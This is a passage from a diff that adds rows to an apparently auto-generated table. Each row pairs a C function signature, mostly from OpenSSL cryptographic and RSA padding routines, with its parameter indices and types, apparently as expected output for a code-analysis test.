*,const unsigned char *,unsigned int,const unsigned char *,unsigned int) | | SSL_select_next_proto | 5 | unsigned int | +| (unsigned char *,BLAKE2B_CTX *) | | ossl_blake2b_final | 0 | unsigned char * | +| (unsigned char *,BLAKE2B_CTX *) | | ossl_blake2b_final | 1 | BLAKE2B_CTX * | +| (unsigned char *,BLAKE2S_CTX *) | | ossl_blake2s_final | 0 | unsigned char * | +| (unsigned char *,BLAKE2S_CTX *) | | ossl_blake2s_final | 1 | BLAKE2S_CTX * | +| (unsigned char *,MD4_CTX *) | | MD4_Final | 0 | unsigned char * | +| (unsigned char *,MD4_CTX *) | | MD4_Final | 1 | MD4_CTX * | +| (unsigned char *,MD5_CTX *) | | MD5_Final | 0 | unsigned char * | +| (unsigned char *,MD5_CTX *) | | MD5_Final | 1 | MD5_CTX * | +| (unsigned char *,MD5_SHA1_CTX *) | | ossl_md5_sha1_final | 0 | unsigned char * | +| (unsigned char *,MD5_SHA1_CTX *) | | ossl_md5_sha1_final | 1 | MD5_SHA1_CTX * | +| (unsigned char *,MDC2_CTX *) | | MDC2_Final | 0 | unsigned char * | +| (unsigned char *,MDC2_CTX *) | | MDC2_Final | 1 | MDC2_CTX * | +| (unsigned char *,RIPEMD160_CTX *) | | RIPEMD160_Final | 0 | unsigned char * | +| (unsigned char *,RIPEMD160_CTX *) | | RIPEMD160_Final | 1 | RIPEMD160_CTX * | +| (unsigned char *,SHA256_CTX *) | | SHA224_Final | 0 | unsigned char * | +| (unsigned char *,SHA256_CTX *) | | SHA224_Final | 1 | SHA256_CTX * | +| (unsigned char *,SHA256_CTX *) | | SHA256_Final | 0 | unsigned char * | +| (unsigned char *,SHA256_CTX *) | | SHA256_Final | 1 | SHA256_CTX * | +| (unsigned char *,SHA512_CTX *) | | SHA384_Final | 0 | unsigned char * | +| (unsigned char *,SHA512_CTX *) | | SHA384_Final | 1 | SHA512_CTX * | +| (unsigned char *,SHA512_CTX *) | | SHA512_Final | 0 | unsigned char * | +| (unsigned char *,SHA512_CTX *) | | SHA512_Final | 1 | SHA512_CTX * | +| (unsigned char *,SHA_CTX *) | | SHA1_Final | 0 | unsigned char * | +| (unsigned char *,SHA_CTX *) | | SHA1_Final | 1 | SHA_CTX * | +| (unsigned char *,SM3_CTX *) | | ossl_sm3_final | 0 | unsigned char * | +| (unsigned char *,SM3_CTX *) | | ossl_sm3_final | 1 | SM3_CTX * | +| (unsigned char *,WHIRLPOOL_CTX *) | | WHIRLPOOL_Final | 0 | unsigned char * | +| (unsigned char *,WHIRLPOOL_CTX *) | | WHIRLPOOL_Final | 1 | WHIRLPOOL_CTX * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key | 0 | unsigned char * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key | 1 | const BIGNUM * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key | 2 | DH * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key_padded | 0 | unsigned char * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key_padded | 1 | const BIGNUM * | +| (unsigned char *,const BIGNUM *,DH *) | | DH_compute_key_padded | 2 | DH * | +| (unsigned char *,const BIGNUM *,DH *) | | ossl_dh_compute_key | 0 | unsigned char * | +| (unsigned char *,const BIGNUM *,DH *) | | ossl_dh_compute_key | 1 | const BIGNUM * | +| (unsigned char *,const BIGNUM *,DH *) | | ossl_dh_compute_key | 2 | DH * | +| (unsigned char *,const char *) | | ossl_a2i_ipadd | 0 | unsigned char * | +| (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | const char * | +| (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 0 | unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 1 | const unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | int | +| (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 0 | unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 1 | const unsigned char * | +| (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | int | +| (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 0 | unsigned char * | +| (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 1 | const unsigned char * | +| (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | size_t | +| (unsigned char *,int) | | RAND_bytes | 0 | unsigned char * | +| (unsigned char *,int) | | RAND_bytes | 1 | int | +| (unsigned char *,int) | | RAND_priv_bytes | 0 | unsigned char * | +| (unsigned char *,int) | | RAND_priv_bytes | 1 | int | +| (unsigned char *,int) | | ossl_ipaddr_to_asc | 0 | unsigned char * | +| (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | int | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 0 | unsigned char * | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 1 | int | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 2 | const char * | +| (unsigned char *,int,const char *,int) | | a2d_ASN1_OBJECT | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_type_2 | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_X931 | 3 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 1 | int | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_none | 3 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 1 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 3 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 4 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int) | | RSA_padding_add_PKCS1_OAEP | 5 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 4 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 5 | int | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 6 | const EVP_MD * | +| (unsigned char *,int,const unsigned char *,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_add_PKCS1_OAEP_mgf1 | 7 | const EVP_MD * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_1 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_PKCS1_type_2 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_X931 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int) | | RSA_padding_check_none | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 5 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int) | | RSA_padding_check_PKCS1_OAEP | 6 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 0 | unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 1 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 2 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 3 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 4 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 5 | const unsigned char * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 6 | int | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 7 | const EVP_MD * | +| (unsigned char *,int,const unsigned char *,int,int,const unsigned char *,int,const EVP_MD *,const EVP_MD *) | | RSA_padding_check_PKCS1_OAEP_mgf1 | 8 | const EVP_MD * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 0 | unsigned char * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 1 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 2 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 3 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *) | | CMS_ReceiptRequest_create0 | 4 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 0 | unsigned char * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 1 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 2 | int | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 3 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 4 | stack_st_GENERAL_NAMES * | +| (unsigned char *,int,int,stack_st_GENERAL_NAMES *,stack_st_GENERAL_NAMES *,OSSL_LIB_CTX *) | | CMS_ReceiptRequest_create0_ex | 5 | OSSL_LIB_CTX * | +| (unsigned char *,int,unsigned long) | | UTF8_putc | 0 | unsigned char * | +| (unsigned char *,int,unsigned long) | | UTF8_putc | 1 | int | +| (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | unsigned long | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 0 | unsigned char * | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 1 | long | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 2 | const unsigned char * | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 3 | long | +| (unsigned char *,long,const unsigned char *,long,const EVP_MD *) | | PKCS1_MGF1 | 4 | const EVP_MD * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 0 | unsigned char * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 1 | long | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 2 | int | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 3 | OSSL_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 4 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 5 | OSSL_PASSPHRASE_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 6 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 7 | OSSL_LIB_CTX * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_epki2pki_der_decode | 8 | const char * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 0 | unsigned char * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 1 | long | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 2 | int | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 3 | OSSL_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 4 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 5 | OSSL_PASSPHRASE_CALLBACK * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 6 | void * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 7 | OSSL_LIB_CTX * | +| (unsigned char *,long,int,OSSL_CALLBACK *,void *,OSSL_PASSPHRASE_CALLBACK *,void *,OSSL_LIB_CTX *,const char *) | | ossl_spki2typespki_der_decode | 8 | const char * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 1 | size_t * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | size_t | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 1 | size_t * | +| (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | size_t | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 1 | size_t * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 2 | size_t | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 3 | const unsigned char ** | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_fillblock | 4 | size_t * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 0 | unsigned char * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 1 | size_t * | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 2 | size_t | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 3 | const unsigned char ** | +| (unsigned char *,size_t *,size_t,const unsigned char **,size_t *) | | ossl_cipher_trailingdata | 4 | size_t * | +| (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 0 | unsigned char * | +| (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 1 | uint64_t | +| (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | int | +| (unsigned char *,void *) | | pitem_new | 0 | unsigned char * | +| (unsigned char *,void *) | | pitem_new | 1 | void * | | (unsigned char) | | operator+= | 0 | unsigned char | | (unsigned char) | CSimpleStringT | operator+= | 0 | unsigned char | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 0 | unsigned char | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 1 | const char * | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 2 | ct_log_entry_type_t | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 3 | uint64_t | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 4 | const char * | +| (unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *) | | SCT_new_from_base64 | 5 | const char * | +| (unsigned char[56],const curve448_scalar_t) | | ossl_curve448_scalar_encode | 0 | unsigned char[56] | +| (unsigned char[56],const curve448_scalar_t) | | ossl_curve448_scalar_encode | 1 | const curve448_scalar_t | +| (unsigned int *,const BF_KEY *) | | BF_decrypt | 0 | unsigned int * | +| (unsigned int *,const BF_KEY *) | | BF_decrypt | 1 | const BF_KEY * | +| (unsigned int *,const BF_KEY *) | | BF_encrypt | 0 | unsigned int * | +| (unsigned int *,const BF_KEY *) | | BF_encrypt | 1 | const BF_KEY * | +| (unsigned int *,const CAST_KEY *) | | CAST_decrypt | 0 | unsigned int * | +| (unsigned int *,const CAST_KEY *) | | CAST_decrypt | 1 | const CAST_KEY * | +| (unsigned int *,const CAST_KEY *) | | CAST_encrypt | 0 | unsigned int * | +| (unsigned int *,const CAST_KEY *) | | CAST_encrypt | 1 | const CAST_KEY * | +| (unsigned int) | | Jim_IntHashFunction | 0 | unsigned int | +| (unsigned int) | | ssl3_get_cipher | 0 | unsigned int | +| (unsigned int,int,int) | | ossl_blob_length | 0 | unsigned int | +| (unsigned int,int,int) | | ossl_blob_length | 1 | int | +| (unsigned int,int,int) | | ossl_blob_length | 2 | int | +| (unsigned int[5],const unsigned char[64]) | | SHA1Transform | 0 | unsigned int[5] | +| (unsigned int[5],const unsigned char[64]) | | SHA1Transform | 1 | const unsigned char[64] | +| (unsigned long *,IDEA_KEY_SCHEDULE *) | | IDEA_encrypt | 0 | unsigned long * | +| (unsigned long *,IDEA_KEY_SCHEDULE *) | | IDEA_encrypt | 1 | IDEA_KEY_SCHEDULE * | +| (unsigned long *,RC2_KEY *) | | RC2_decrypt | 0 | unsigned long * | +| (unsigned long *,RC2_KEY *) | | RC2_decrypt | 1 | RC2_KEY * | +| (unsigned long *,RC2_KEY *) | | RC2_encrypt | 0 | unsigned long * | +| (unsigned long *,RC2_KEY *) | | RC2_encrypt | 1 | RC2_KEY * | +| (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 0 | unsigned long * | +| (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 1 | const BIGNUM * | +| (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | int | +| (unsigned long *,const char *) | | set_cert_ex | 0 | unsigned long * | +| (unsigned long *,const char *) | | set_cert_ex | 1 | const char * | +| (unsigned long *,const char *) | | set_name_ex | 0 | unsigned long * | +| (unsigned long *,const char *) | | set_name_ex | 1 | const char * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 2 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 3 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 4 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 5 | unsigned long | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 6 | unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 7 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 8 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 9 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 10 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 11 | unsigned long | +| (unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,const unsigned long *,unsigned long,int) | | ossl_rsaz_mod_exp_avx512_x2 | 12 | int | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 2 | const unsigned long * | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 3 | int | +| (unsigned long *,const unsigned long *,const unsigned long *,int,int) | | bn_sub_part_words | 4 | int | +| (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 2 | int | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_normal | 3 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 0 | unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long *) | | bn_sqr_recursive | 1 | const unsigned long * | +| (unsigned long *,const unsigned long *,int,unsigned long 